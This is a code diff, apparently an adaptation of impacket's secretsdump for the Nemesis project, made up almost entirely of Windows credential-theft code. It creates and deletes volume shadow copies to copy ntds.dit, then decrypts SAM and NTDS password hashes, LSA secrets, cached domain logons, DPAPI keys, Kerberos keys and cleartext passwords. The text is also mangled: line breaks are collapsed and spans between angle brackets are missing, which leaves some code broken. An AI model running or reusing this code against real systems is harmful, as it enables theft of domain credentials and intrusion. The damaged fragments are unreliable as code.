shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive) + if shadow == '' or (shadow != '' and shadowFor != ntdsDrive): + # No shadow, create one + self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive) + shadow, shadowFor, shadowId = self.__getLastVSS(forDrive=ntdsDrive) + shouldRemove = True + if shadow == '' or shadowFor != ntdsDrive: + raise Exception('Could not get a VSS') + else: + # There was already a shadow, let's not delete this + shouldRemove = False + + # Now copy the ntds.dit to the temp directory + tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp' + + self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName)) + + if shouldRemove is True: + LOG.debug('Trying to delete shadow copy using command : %%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId) + self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /shadow="{%s}" /Quiet' % shadowId) + + + tries = 0 + while True: + try: + self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') + break + except Exception as e: + if tries >= 30: + raise e + if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0 or str(e).find('STATUS_SHARING_VIOLATION') >=0: + tries += 1 + time.sleep(5) + pass + else: + logging.error('Cannot delete target file \\\\%s\\ADMIN$\\Temp\\__output: %s' % (self.__smbConnection.getRemoteHost(), str(e))) + pass + + remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName) + + return remoteFileName + +class CryptoCommon: + # Common crypto stuff used over different classes + def deriveKey(self, baseKey): + # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key + # Let I be the little-endian, unsigned integer. + # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes. + # Note that because I is in little-endian byte order, I[0] is the least significant byte. + # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2]. + # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1] + key = pack('= 20: + lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle) + else: + lmHash = b'' + + if encNTHash != b'': + ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle) + else: + ntHash = b'' + + if lmHash == b'': + lmHash = ntlm.LMOWFv1('','') + if ntHash == b'': + ntHash = ntlm.NTOWFv1('','') + + lmHasStr = hexlify(lmHash).decode('utf-8') + ntHashStr = hexlify(ntHash).decode('utf-8') + answer = "%s:%d:%s:%s:::" % (userName, rid, lmHasStr, ntHashStr) + self.__itemsFound[rid] = ( + userName, + rid, + lmHasStr, + ntHashStr, + answer + ) + # self.__perSecretCallback(answer) + + def export(self, baseFileName, openFileFunc = None): + if len(self.__itemsFound) > 0: + items = sorted(self.__itemsFound) + fileName = baseFileName+'.sam' + fd = openFile(fileName, openFileFunc=openFileFunc) + for item in items: + fd.write(self.__itemsFound[item]+'\n') + fd.close() + return fileName + + +######################################### +# +# /begin adapted for Nemesis +# +######################################### + +def decryptLSA(value, boot_key, vista_style): + if vista_style is True: + record = LSA_SECRET(value) + sha = hashlib.sha256() + sha.update(boot_key) + for i in range(1000): + sha.update(record['EncryptedData'][:32]) + tmpKey = sha.digest() + plainText = CryptoCommon().decryptAES(tmpKey, record['EncryptedData'][32:]) + record = LSA_SECRET_BLOB(plainText) + return record['Secret'][52:][:32] + else: + md5 = hashlib.new('md5') + md5.update(boot_key) + for i in range(1000): + md5.update(value[60:76]) + tmpKey = md5.digest() + rc4 = ARC4.new(tmpKey) + plainText = rc4.decrypt(value[12:60]) + return plainText[0x10:0x20] + +def decryptLSASecret(value, key, vista_style, NKLM=False): + if vista_style: + record = LSA_SECRET(value) + sha = hashlib.sha256() + sha.update(key) + for i in range(1000): + sha.update(record['EncryptedData'][:32]) + tmpKey = sha.digest() + plainText = CryptoCommon().decryptAES(tmpKey, record['EncryptedData'][32:]) + + if NKLM: + return plainText + + record = LSA_SECRET_BLOB(plainText) + return record['Secret'] + else: + # [MS-LSAD] Section 5.1.2 + plainText = b'' + + encryptedSecretSize = unpack(' 0: + return data + (data & 0x3) + else: + return data + +def decryptCachedEntry(value, NKLMKey, iteration_count, vista_style): + + record = NL_RECORD(value) + if vista_style is True: + plainText = CryptoCommon().decryptAES(NKLMKey[16:32], record['EncryptedData'], record['IV']) + else: + plainText = decryptHash(record['EncryptedData'], NKLMKey, record['IV']) + pass + + encHash = plainText[:0x10] + plainText = plainText[0x48:] + userName = plainText[:record['UserLength']].decode('utf-16le') + plainText = plainText[pad(record['UserLength']) + pad(record['DomainNameLength']):] + domainLong = plainText[:pad(record['DnsDomainNameLength'])].decode('utf-16le') + timestamp = datetime.utcfromtimestamp(getUnixTime(record['LastWrite'])) + + if vista_style is True: + answer = "%s/%s:$DCC2$%s#%s#%s: (%s)" % (domainLong, userName, iteration_count, userName, hexlify(encHash).decode('utf-8'), timestamp) + else: + answer = "%s/%s:%s:%s: (%s)" % (domainLong, userName, hexlify(encHash).decode('utf-8'), userName, timestamp) + + return (domainLong, userName, encHash, iteration_count, answer, timestamp) + +def formatSecret(secret_name: str, secret_bytes: bytes) -> str: + """ + Formats a secret to its appropriate string representation. + + Adapted from __printSecret. + """ + + secret_name_upper = secret_name.upper() + + if len(secret_bytes) == 0: + return "" + + elif secret_bytes.startswith(b'\x00\x00\x00'): + return "" + + elif secret_name_upper.startswith("_SC_"): + return secret_bytes.decode('utf-16le') + + elif secret_name_upper.startswith("DEFAULTPASSWORD"): + return secret_bytes.decode('utf-16le') + + elif secret_name_upper.startswith('ASPNET_WP_PASSWORD'): + return secret_bytes.decode('utf-16le') + + elif secret_name_upper.startswith('DPAPI_SYSTEM'): + dpapi = DPAPI_SYSTEM(secret_bytes) + return f"{hexlify(dpapi['MachineKey']).decode('latin-1')}:{hexlify(dpapi['UserKey']).decode('latin-1')}" + + elif secret_name_upper.startswith('$MACHINE.ACC'): + md4 = MD4.new() + md4.update(secret_bytes) + return f"{hexlify(ntlm.LMOWFv1('','')).decode('utf-8')}:{hexlify(md4.digest()).decode('utf-8')}" + + elif re.match(r'^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', secret_name_upper) is not None: + # Decode stored security questions + sid = re.search(r'^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', secret_name_upper).group(1) + try: + strDecoded = secret_name_upper.decode('utf-16le').replace('\xa0',' ') + strDecoded = json.loads(strDecoded) + except: + pass + else: + output = [] + if strDecoded['version'] == 1: + output.append(" - Version : %d" % strDecoded['version']) + for qk in strDecoded['questions']: + output.append(" | Question: %s" % qk['question']) + output.append(" | |--> Answer: %s" % qk['answer']) + output = '\n'.join(output) + secret = 'Security Questions for user %s: \n%s' % (sid, output) + else: + secret = json.dumps(strDecoded, indent=4) + return secret + + else: + return secret_bytes.hex() + +def MD5(data): + md5 = hashlib.new('md5') + md5.update(data) + return md5.digest() + +def getHBootKey(F, bootKey): + LOG.debug('Calculating HashedBootKey from SAM') + QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" + DIGITS = b"0123456789012345678901234567890123456789\0" + + domainData = DOMAIN_ACCOUNT_F(F) + + if domainData['Key0'][0:1] == b'\x01': + samKeyData = SAM_KEY_DATA(domainData['Key0']) + + rc4Key = MD5(samKeyData['Salt'] + QWERTY + bootKey + DIGITS) + rc4 = ARC4.new(rc4Key) + hashedBootKey = rc4.encrypt(samKeyData['Key']+samKeyData['CheckSum']) + + # Verify key with checksum + checkSum = MD5( hashedBootKey[:16] + DIGITS +hashedBootKey[:16] + QWERTY) + + if checkSum != hashedBootKey[16:]: + raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(') + + elif domainData['Key0'][0:1] == b'\x02': + # This is Windows 2016 TP5 on in theory (it is reported that some W10 and 2012R2 might behave this way also) + samKeyData = SAM_KEY_DATA_AES(domainData['Key0']) + + hashedBootKey = CryptoCommon().decryptAES(bootKey, samKeyData['Data'][:samKeyData['DataLen']], samKeyData['Salt']) + + return hashedBootKey + +def decryptSAMHash(rid, cryptedHashBytes, hashedBootKey, is_nt): + # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key + # plus hashedBootKey stuff + + if is_nt: + constant = b"NTPASSWORD\0" + else: + constant = b"LMPASSWORD\0" + + Key1,Key2 = CryptoCommon().deriveKey(rid) + + Crypt1 = DES.new(Key1, DES.MODE_ECB) + Crypt2 = DES.new(Key2, DES.MODE_ECB) + + try: + cryptedHash = SAM_HASH_AES(cryptedHashBytes) + except: + try: + cryptedHash = SAM_HASH(cryptedHashBytes) + except: + return None + + try: + key = CryptoCommon().decryptAES(hashedBootKey[:0x10], cryptedHash['Hash'], cryptedHash['Salt'])[:16] + except: + try: + rc4Key = MD5( hashedBootKey[:0x10] + pack(" 0: + return data + (data & 0x3) + else: + return data + + def dumpCachedHashes(self): + if self.__securityFile is None: + # No SECURITY file provided + return + + LOG.info('Dumping cached domain logon information (domain/username:hash)') + + # Let's first see if there are cached entries + values = self.enumValues('\\Cache') + if values is None: + # No cache entries + return + try: + # Remove unnecessary value + values.remove(b'NL$Control') + except: + pass + + iterationCount = 10240 + + if b'NL$IterationCount' in values: + values.remove(b'NL$IterationCount') + + record = self.getValue('\\Cache\\NL$IterationCount')[1] + if record > 10240: + iterationCount = record & 0xfffffc00 + else: + iterationCount = record * 1024 + + self.__getLSASecretKey() + self.__getNLKMSecret() + + for value in values: + LOG.debug('Looking into %s' % value.decode('utf-8')) + record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value.decode('utf-8')))[1]) + if record['IV'] != 16 * b'\x00': + #if record['UserLength'] > 0: + if record['Flags'] & 1 == 1: + # Encrypted + if self.__vistaStyle is True: + plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['IV']) + else: + plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['IV']) + pass + else: + # Plain! Until we figure out what this is, we skip it + #plainText = record['EncryptedData'] + continue + encHash = plainText[:0x10] + plainText = plainText[0x48:] + userName = plainText[:record['UserLength']].decode('utf-16le') + plainText = plainText[self.__pad(record['UserLength']) + self.__pad(record['DomainNameLength']):] + domainLong = plainText[:self.__pad(record['DnsDomainNameLength'])].decode('utf-16le') + timestamp = datetime.utcfromtimestamp(getUnixTime(record['LastWrite'])) + + if self.__vistaStyle is True: + answer = "%s/%s:$DCC2$%s#%s#%s: (%s)" % (domainLong, userName, iterationCount, userName, hexlify(encHash).decode('utf-8'), timestamp) + else: + answer = "%s/%s:%s:%s: (%s)" % (domainLong, userName, hexlify(encHash).decode('utf-8'), userName, timestamp) + + self.__cachedItems.append(answer) + self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_HASHED, answer) + + def dumpCachedHashesEnc(self): + # Let's first see if there are cached entries + values = self.enumValues('\\Cache') + if values is None: + # No cache entries + return + try: + # Remove unnecessary value + values.remove(b'NL$Control') + except: + pass + + iterationCount = 10240 + + if b'NL$IterationCount' in values: + values.remove(b'NL$IterationCount') + + record = self.getValue('\\Cache\\NL$IterationCount')[1] + if record > 10240: + iterationCount = record & 0xfffffc00 + else: + iterationCount = record * 1024 + + domainCachedCreds = [] + + for value in values: + raw_value = self.getValue(ntpath.join('\\Cache',value.decode('utf-8')))[1] + record = NL_RECORD(raw_value) + if record['IV'] != 16 * b'\x00': + if record['Flags'] & 1 == 1: + domainCachedCreds.append((iterationCount, raw_value)) + + return domainCachedCreds + + def __printSecret(self, name, secretItem): + # Based on [MS-LSAD] section 3.1.1.4 + + # First off, let's discard NULL secrets. + if len(secretItem) == 0: + LOG.debug('Discarding secret %s, NULL Data' % name) + return + + # We might have secrets with zero + if secretItem.startswith(b'\x00\x00'): + LOG.debug('Discarding secret %s, all zeros' % name) + return + + upperName = name.upper() + + LOG.info('%s ' % name) + + secret = '' + + if upperName.startswith('_SC_'): + # Service name, a password might be there + # Let's first try to decode the secret + + secret += f"Service {upperName[4:]} " + + try: + strDecoded = secretItem.decode('utf-16le') + except: + pass + else: + # We have to get the account the service + # runs under + if hasattr(self.__remoteOps, 'getServiceAccount'): + account = self.__remoteOps.getServiceAccount(name[4:]) + if account is None: + secret += self.UNKNOWN_USER + ' ' + else: + secret += "%s " % account + else: + # We don't support getting this info for local targets at the moment + secret += self.UNKNOWN_USER + ' ' + secret += strDecoded + elif upperName.startswith('DEFAULTPASSWORD'): + # defaults password for winlogon + # Let's first try to decode the secret + try: + strDecoded = secretItem.decode('utf-16le') + except: + pass + else: + # We have to get the account this password is for + if hasattr(self.__remoteOps, 'getDefaultLoginAccount'): + account = self.__remoteOps.getDefaultLoginAccount() + if account is None: + secret = self.UNKNOWN_USER + ':' + else: + secret = "%s:" % account + else: + # We don't support getting this info for local targets at the moment + secret = self.UNKNOWN_USER + ':' + secret += strDecoded + elif upperName.startswith('ASPNET_WP_PASSWORD'): + try: + strDecoded = secretItem.decode('utf-16le') + except: + pass + else: + secret = 'ASPNET: %s' % strDecoded + elif upperName.startswith('DPAPI_SYSTEM'): + # Decode the DPAPI Secrets + dpapi = DPAPI_SYSTEM(secretItem) + secret = "dpapi_machinekey:0x{0}\ndpapi_userkey:0x{1}".format( hexlify(dpapi['MachineKey']).decode('latin-1'), + hexlify(dpapi['UserKey']).decode('latin-1')) + elif upperName.startswith('$MACHINE.ACC'): + # compute MD4 of the secret.. yes.. that is the nthash? :-o + md4 = MD4.new() + md4.update(secretItem) + if hasattr(self.__remoteOps, 'getMachineNameAndDomain'): + machine, domain = self.__remoteOps.getMachineNameAndDomain() + printname = "%s\\%s$" % (domain, machine) + secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')).decode('utf-8'), + hexlify(md4.digest()).decode('utf-8')) + else: + printname = "$MACHINE.ACC" + secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')).decode('utf-8'), + hexlify(md4.digest()).decode('utf-8')) + # Attempt to calculate and print Kerberos keys + if not self.__printMachineKerberos(secretItem, printname): + LOG.debug('Could not calculate machine account Kerberos keys, only printing plain password (hex encoded)') + # Always print plaintext anyway since this may be needed for some popular usecases + extrasecret = "%s:plain_password_hex:%s" % (printname, hexlify(secretItem).decode('utf-8')) + self.__secretItems.append(extrasecret) + # self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, extrasecret) + elif re.match(r'^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName) is not None: + # Decode stored security questions + sid = re.search(r'^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$', upperName).group(1) + try: + strDecoded = secretItem.decode('utf-16le').replace('\xa0',' ') + strDecoded = json.loads(strDecoded) + except: + pass + else: + output = [] + if strDecoded['version'] == 1: + output.append(" - Version : %d" % strDecoded['version']) + for qk in strDecoded['questions']: + output.append(" | Question: %s" % qk['question']) + output.append(" | |--> Answer: %s" % qk['answer']) + output = '\n'.join(output) + secret = 'Security Questions for user %s: \n%s' % (sid, output) + else: + LOG.warning("Unknown SQSA version (%s), please open an issue with the following data so we can add a parser for it." % str(strDecoded['version'])) + LOG.warning("Don't forget to remove sensitive content before sending the data in a Github issue.") + secret = json.dumps(strDecoded, indent=4) + + if secret != '': + printableSecret = secret + self.__secretItems.append(secret) + # self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, printableSecret) + else: + # Default print, hexdump + printableSecret = '%s:%s' % (name, hexlify(secretItem).decode('utf-8')) + self.__secretItems.append(printableSecret) + # # If we're using the default callback (ourselves), we print the hex representation. If not, the + # # user will need to decide what to do. + # if self.__module__ == self.__perSecretCallback.__module__: + # hexdump(secretItem) + # self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_RAW, printableSecret) + + def __printMachineKerberos(self, rawsecret, machinename): + # Attempt to create Kerberos keys from machine account (if possible) + if hasattr(self.__remoteOps, 'getMachineKerberosSalt'): + salt = self.__remoteOps.getMachineKerberosSalt() + if salt == b'': + return False + else: + allciphers = [ + int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), + int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), + int(constants.EncryptionTypes.des_cbc_md5.value) + ] + # Ok, so the machine account password is in raw UTF-16, BUT can contain any amount + # of invalid unicode characters. + # This took me (Dirk-jan) way too long to figure out, but apparently Microsoft + # implicitly replaces those when converting utf-16 to utf-8. + # When we use the same method we get the valid password -> key mapping :) + rawsecret = rawsecret.decode('utf-16-le', 'replace').encode('utf-8', 'replace') + for etype in allciphers: + try: + key = string_to_key(etype, rawsecret, salt, None) + except Exception: + LOG.debug('Exception', exc_info=True) + raise + typename = NTDSHashes.KERBEROS_TYPE[etype] + secret = "%s:%s:%s" % (machinename, typename, hexlify(key.contents).decode('utf-8')) + self.__secretItems.append(secret) + self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_KERBEROS, secret) + return True + else: + return False + + def dumpSecretsEnc(self): + # Let's first see if there are cached entries + keys = self.enumKey('\\Policy\\Secrets') + if keys is None: + # No entries + return + try: + # Remove unnecessary value + keys.remove(b'NL$Control') + except: + pass + + enc_keys = [] + + for key in keys: + LOG.debug('Looking into %s' % key) + valueTypeList = ['CurrVal'] + # Check if old LSA secrets values are also need to be shown + if self.__history: + valueTypeList.append('OldVal') + + for valueType in valueTypeList: + value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType)) + if value is not None and value[1] != 0: + # If this is an OldVal secret, let's append '_history' to be able to distinguish it and + # also be consistent with NTDS history + if valueType == 'OldVal': + key += '_history' + enc_keys.append((key, value[1])) + return(enc_keys) + + def dumpSecrets(self): + if self.__securityFile is None: + # No SECURITY file provided + return + + LOG.info('Dumping LSA Secrets') + + # Let's first see if there are cached entries + keys = self.enumKey('\\Policy\\Secrets') + if keys is None: + # No entries + return + try: + # Remove unnecessary value + keys.remove(b'NL$Control') + except: + pass + + if self.__LSAKey == b'': + self.__getLSASecretKey() + + for key in keys: + LOG.debug('Looking into %s' % key) + valueTypeList = ['CurrVal'] + # Check if old LSA secrets values are also need to be shown + if self.__history: + valueTypeList.append('OldVal') + + for valueType in valueTypeList: + # print('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType)) + value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType)) + if value is not None and value[1] != 0: + if self.__vistaStyle is True: + record = LSA_SECRET(value[1]) + tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) + plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:]) + record = LSA_SECRET_BLOB(plainText) + secret = record['Secret'] + # print(f"{key} : {secret.hex()}\n") + else: + secret = self.__decryptSecret(self.__LSAKey, value[1]) + + # If this is an OldVal secret, let's append '_history' to be able to distinguish it and + # also be consistent with NTDS history + if valueType == 'OldVal': + key += '_history' + self.__printSecret(key, secret) + + def exportSecrets(self, baseFileName, openFileFunc = None): + if len(self.__secretItems) > 0: + fileName = baseFileName+'.secrets' + fd = openFile(fileName, openFileFunc=openFileFunc) + for item in self.__secretItems: + fd.write(item+'\n') + fd.close() + return fileName + + def exportCached(self, baseFileName, openFileFunc = None): + if len(self.__cachedItems) > 0: + fileName = baseFileName+'.cached' + fd = openFile(fileName, openFileFunc=openFileFunc) + for item in self.__cachedItems: + fd.write(item+'\n') + fd.close() + return fileName + + +class ResumeSessionMgrInFile(object): + def __init__(self, resumeFileName=None): + self.__resumeFileName = resumeFileName + self.__resumeFile = None + self.__hasResumeData = resumeFileName is not None + + def hasResumeData(self): + return self.__hasResumeData + + def clearResumeData(self): + self.endTransaction() + if self.__resumeFileName and os.path.isfile(self.__resumeFileName): + os.remove(self.__resumeFileName) + + def writeResumeData(self, data): + # self.beginTransaction() must be called first, but we are aware of performance here, so we avoid checking that + self.__resumeFile.seek(0, 0) + self.__resumeFile.truncate(0) + self.__resumeFile.write(data.encode()) + self.__resumeFile.flush() + + def getResumeData(self): + try: + self.__resumeFile = open(self.__resumeFileName,'rb') + except Exception as e: + raise Exception('Cannot open resume session file name %s' % str(e)) + resumeSid = self.__resumeFile.read() + self.__resumeFile.close() + # Truncate and reopen the file as wb+ + self.__resumeFile = open(self.__resumeFileName,'wb+') + return resumeSid.decode('utf-8') + + def getFileName(self): + return self.__resumeFileName + + def beginTransaction(self): + if not self.__resumeFileName: + self.__resumeFileName = 'sessionresume_%s' % ''.join(random.choice(string.ascii_letters) for _ in range(8)) + LOG.debug('Session resume file will be %s' % self.__resumeFileName) + if not self.__resumeFile: + try: + self.__resumeFile = open(self.__resumeFileName, 'wb+') + except Exception as e: + raise Exception('Cannot create "%s" resume session file: %s' % (self.__resumeFileName, str(e))) + + def endTransaction(self): + if self.__resumeFile: + self.__resumeFile.close() + self.__resumeFile = None + + +class NTDSHashes: + class SECRET_TYPE: + NTDS = 0 + NTDS_CLEARTEXT = 1 + NTDS_KERBEROS = 2 + + NAME_TO_INTERNAL = { + 'uSNCreated':b'ATTq131091', + 'uSNChanged':b'ATTq131192', + 'name':b'ATTm3', + 'objectGUID':b'ATTk589826', + 'objectSid':b'ATTr589970', + 'userAccountControl':b'ATTj589832', + 'primaryGroupID':b'ATTj589922', + 'accountExpires':b'ATTq589983', + 'logonCount':b'ATTj589993', + 'sAMAccountName':b'ATTm590045', + 'sAMAccountType':b'ATTj590126', + 'lastLogonTimestamp':b'ATTq589876', + 'userPrincipalName':b'ATTm590480', + 'unicodePwd':b'ATTk589914', + 'dBCSPwd':b'ATTk589879', + 'ntPwdHistory':b'ATTk589918', + 'lmPwdHistory':b'ATTk589984', + 'pekList':b'ATTk590689', + 'supplementalCredentials':b'ATTk589949', + 'pwdLastSet':b'ATTq589920', + } + + NAME_TO_ATTRTYP = { + 'userPrincipalName': 0x90290, + 'sAMAccountName': 0x900DD, + 'unicodePwd': 0x9005A, + 'dBCSPwd': 0x90037, + 'ntPwdHistory': 0x9005E, + 'lmPwdHistory': 0x900A0, + 'supplementalCredentials': 0x9007D, + 'objectSid': 0x90092, + 'userAccountControl':0x90008, + } + + ATTRTYP_TO_ATTID = { + 'userPrincipalName': '1.2.840.113556.1.4.656', + 'sAMAccountName': '1.2.840.113556.1.4.221', + 'unicodePwd': '1.2.840.113556.1.4.90', + 'dBCSPwd': '1.2.840.113556.1.4.55', + 'ntPwdHistory': '1.2.840.113556.1.4.94', + 'lmPwdHistory': '1.2.840.113556.1.4.160', + 'supplementalCredentials': '1.2.840.113556.1.4.125', + 'objectSid': '1.2.840.113556.1.4.146', + 'pwdLastSet': '1.2.840.113556.1.4.96', + 'userAccountControl':'1.2.840.113556.1.4.8', + } + + KERBEROS_TYPE = { + 1:'dec-cbc-crc', + 3:'des-cbc-md5', + 17:'aes128-cts-hmac-sha1-96', + 18:'aes256-cts-hmac-sha1-96', + 0xffffff74:'rc4_hmac', + } + + INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.items()) + + SAM_NORMAL_USER_ACCOUNT = 0x30000000 + SAM_MACHINE_ACCOUNT = 0x30000001 + SAM_TRUST_ACCOUNT = 0x30000002 + + ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT) + + class PEKLIST_ENC(Structure): + structure = ( + ('Header','8s=b""'), + ('KeyMaterial','16s=b""'), + ('EncryptedPek',':'), + ) + + class PEKLIST_PLAIN(Structure): + structure = ( + ('Header','32s=b""'), + ('DecryptedPek',':'), + ) + + class PEK_KEY(Structure): + structure = ( + ('Header','1s=b""'), + ('Padding','3s=b""'), + ('Key','16s=b""'), + ) + + class CRYPTED_HASH(Structure): + structure = ( + ('Header','8s=b""'), + ('KeyMaterial','16s=b""'), + ('EncryptedHash','16s=b""'), + ) + + class CRYPTED_HASHW16(Structure): + structure = ( + ('Header','8s=b""'), + ('KeyMaterial','16s=b""'), + ('Unknown',' 24: + if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None: + domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1] + userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']]) + else: + userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']] + cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) + + if cipherText['Header'][:4] == b'\x13\x00\x00\x00': + # Win2016 TP4 decryption is different + pekIndex = hexlify(cipherText['Header']) + plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], + cipherText['EncryptedHash'][4:], + cipherText['KeyMaterial']) + haveInfo = True + else: + plainText = self.__removeRC4Layer(cipherText) + haveInfo = True + else: + domain = None + userName = None + replyVersion = 'V%d' % record['pdwOutVersion'] + for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']: + try: + attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) + LOOKUP_TABLE = self.ATTRTYP_TO_ATTID + except Exception as e: + LOG.debug('Failed to execute OidFromAttid with error %s' % e) + LOG.debug('Exception', exc_info=True) + # Fallbacking to fixed table and hope for the best + attId = attr['attrTyp'] + LOOKUP_TABLE = self.NAME_TO_ATTRTYP + + if attId == LOOKUP_TABLE['userPrincipalName']: + if attr['AttrVal']['valCount'] > 0: + try: + domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1] + except: + domain = None + else: + domain = None + elif attId == LOOKUP_TABLE['sAMAccountName']: + if attr['AttrVal']['valCount'] > 0: + try: + userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le') + except: + LOG.error( + 'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) + userName = 'unknown' + else: + LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1]) + userName = 'unknown' + if attId == LOOKUP_TABLE['supplementalCredentials']: + if attr['AttrVal']['valCount'] > 0: + blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) + plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob) + if len(plainText) > 24: + haveInfo = True + if domain is not None: + userName = '%s\\%s' % (domain, userName) + + if haveInfo is True: + try: + userProperties = samr.USER_PROPERTIES(plainText) + except: + # On some old w2k3 there might be user properties that don't + # match [MS-SAMR] structure, discarding them + return + propertiesData = userProperties['UserProperties'] + for propertyCount in range(userProperties['PropertyCount']): + userProperty = samr.USER_PROPERTY(propertiesData) + propertiesData = propertiesData[len(userProperty):] + # For now, we will only process Newer Kerberos Keys and CLEARTEXT + if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys': + propertyValueBuffer = unhexlify(userProperty['PropertyValue']) + kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer) + data = kerbStoredCredentialNew['Buffer'] + for credential in range(kerbStoredCredentialNew['CredentialCount']): + keyDataNew = samr.KERB_KEY_DATA_NEW(data) + data = data[len(keyDataNew):] + keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']] + + if keyDataNew['KeyType'] in self.KERBEROS_TYPE: + answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue).decode('utf-8')) + else: + answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue).decode('utf-8')) + # We're just storing the keys, not printing them, to make the output more readable + # This is kind of ugly... but it's what I came up with tonight to get an ordered + # set :P. Better ideas welcomed ;) + self.__kerberosKeys[answer] = None + if keysFile is not None: + self.__writeOutput(keysFile, answer + '\n') + elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT': + # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property + # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password. + try: + answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le')) + except UnicodeDecodeError: + # This could be because we're decoding a machine password. Printing it hex + answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue'].decode('utf-8')) + + self.__clearTextPwds[answer] = None + if clearTextFile is not None: + self.__writeOutput(clearTextFile, answer + '\n') + + if clearTextFile is not None: + clearTextFile.flush() + if keysFile is not None: + keysFile.flush() + + LOG.debug('Leaving NTDSHashes.__decryptSupplementalInfo') + + def __decryptHash(self, record, prefixTable=None, outputFile=None): + LOG.debug('Entering NTDSHashes.__decryptHash') + if self.__useVSSMethod is True: + LOG.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']]) + + sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']])) + rid = sid.formatCanonical().split('-')[-1] + + if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None: + encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']])) + if encryptedLMHash['Header'][:4] == b'\x13\x00\x00\x00': + # Win2016 TP4 decryption is different + encryptedLMHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']])) + pekIndex = hexlify(encryptedLMHash['Header']) + tmpLMHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])], + encryptedLMHash['EncryptedHash'][:16], + 